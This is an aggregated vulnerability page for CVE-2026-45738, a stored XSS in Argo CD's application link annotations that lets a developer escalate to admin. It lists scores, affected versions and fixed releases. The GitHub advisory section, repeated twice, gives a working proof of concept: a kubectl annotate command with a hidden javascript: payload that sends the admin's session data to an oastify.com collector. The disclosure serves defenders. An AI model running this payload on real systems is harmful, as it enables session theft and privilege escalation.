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CVE-2026-45738

Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation

7.3 HighFix available

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.61%Up 0.6 points since Jun 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.3

Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Record
CVE-2026-45738
CVSS 3.1
7.3 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-44789 7.3

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Record
EUVD-2026-44789
CVSS 3.1
7.3 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-h98r-wv3h-fr38 7.3

Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation

Summary

A user with application write access (developer role) can set link.argocd.argoproj.io/* annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.

Details

Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277

const parts = (url || '').split('|');
<a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'>
    {parts[0]}
</a>

The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='_blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).

Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.

CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only — no script-src, no connect-src, no default-src — providing zero XSS execution mitigation.

PoC

Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, *, */*, allow).

Step 1 — Set malicious annotation as developer:

kubectl annotate application <app-name> -n argocd \
  'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'

The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the javascript: payload is invisible in the displayed text.

Step 2 — Admin opens Summary tab of the annotated application and clicks the link.

Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:

// Payload used during testing (Burp Collaborator OOB):
fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"})
  .then(r => r.json())
  .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))

Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:

{"iss":"argocd","loggedIn":true,"username":"admin"}

Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.

Impact

  • Stored XSS — payload persists in the Kubernetes Application resource until manually removed
  • Privilege escalation — developer role → admin session hijacking via authenticated API calls
  • Maximum stealth — the injected link displays as any attacker-chosen text; the javascript: href is never visible to the victim
  • No server-side interaction required — purely client-side exploit, no network egress needed for execution (exfiltration uses no-cors fetch, bypassed by absent connect-src CSP)
  • Any admin or operator who views the Summary tab of the compromised application is affected

Credits

Discovered and reported by Jan Kahmen…

Record
GHSA-h98r-wv3h-fr38
CVSS 3.1
7.3 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 7.3

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Record
CVE-2026-45738
CVSS 3.1
7.3 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 7.3

Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Record
CVE-2026-45738
CVSS 3.1
7.3 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-05
OSVGHSA-h98r-wv3h-fr38 7.3

Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation

Summary

A user with application write access (developer role) can set link.argocd.argoproj.io/* annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.

Details

Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277

const parts = (url || '').split('|');
<a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'>
    {parts[0]}
</a>

The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='_blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).

Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.

CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only — no script-src, no connect-src, no default-src — providing zero XSS execution mitigation.

PoC

Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, *, */*, allow).

Step 1 — Set malicious annotation as developer:

kubectl annotate application <app-name> -n argocd \
  'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'

The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the javascript: payload is invisible in the displayed text.

Step 2 — Admin opens Summary tab of the annotated application and clicks the link.

Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:

// Payload used during testing (Burp Collaborator OOB):
fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"})
  .then(r => r.json())
  .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))

Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:

{"iss":"argocd","loggedIn":true,"username":"admin"}

Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.

Impact

  • Stored XSS — payload persists in the Kubernetes Application resource until manually removed
  • Privilege escalation — developer role → admin session hijacking via authenticated API calls
  • Maximum stealth — the injected link displays as any attacker-chosen text; the javascript: href is never visible to the victim
  • No server-side interaction required — purely client-side exploit, no network egress needed for execution (exfiltration uses no-cors fetch, bypassed by absent connect-src CSP)
  • Any admin or operator who views the Summary tab of the compromised application is affected

Credits

Discovered and reported by Jan Kahmen…

Record
GHSA-h98r-wv3h-fr38
CVSS 3.1
7.3 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVBIT-argo-cd-2026-45738 No score

Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Record
BIT-argo-cd-2026-45738
Updated
2026-11-02
OSVGO-2026-5418 No score

Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation in github.com/argoproj/argo-cd

Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation in github.com/argoproj/argo-cd

Record
GO-2026-5418
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/argoproj/argo-cd/v3
Go
 before 3.2.12
3.2.12
github.com/argoproj/argo-cd/v3
Go
 3.3.0-rc1 to 3.3.9
3.3.10
github.com/argoproj/argo-cd/v3
Go
 3.4.0-rc1 to 3.4.1
3.4.2
github.com/argoproj/argo-cd/v2
Go
 through 2.14.21 None known
github.com/argoproj/argo-cd
Go
 through 1.8.7 None known
argo-cd
Bitnami
 before 3.2.12, 3.3.0 up to 3.3.10, 3.4.0 up to 3.4.2
3.2.123.3.103.4.2
github.com/argoproj/argo-cd/v3
Go
 3.3.0-rc1 up to 3.3.10
3.3.10
github.com/argoproj/argo-cd/v3
Go
 3.4.0-rc1 up to 3.4.2
3.4.2
github.com/argoproj/argo-cd
Go
 All versions None known
github.com/argoproj/argo-cd/v2
Go
 All versions None known
github.com/argoproj/argo-cd/v3
Go
 before 3.2.12, 3.3.0-rc1 up to 3.3.10, 3.4.0-rc1 up to 3.4.2
3.2.123.3.103.4.2
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affectedOSV
factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-45738 is a high vulnerability (CVSS 7.3) in Argoproj Argo Cd, published May 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.61%, the 49th percentile. Fixed in github.com/argoproj/argo-cd/v3 3.2.12.

References

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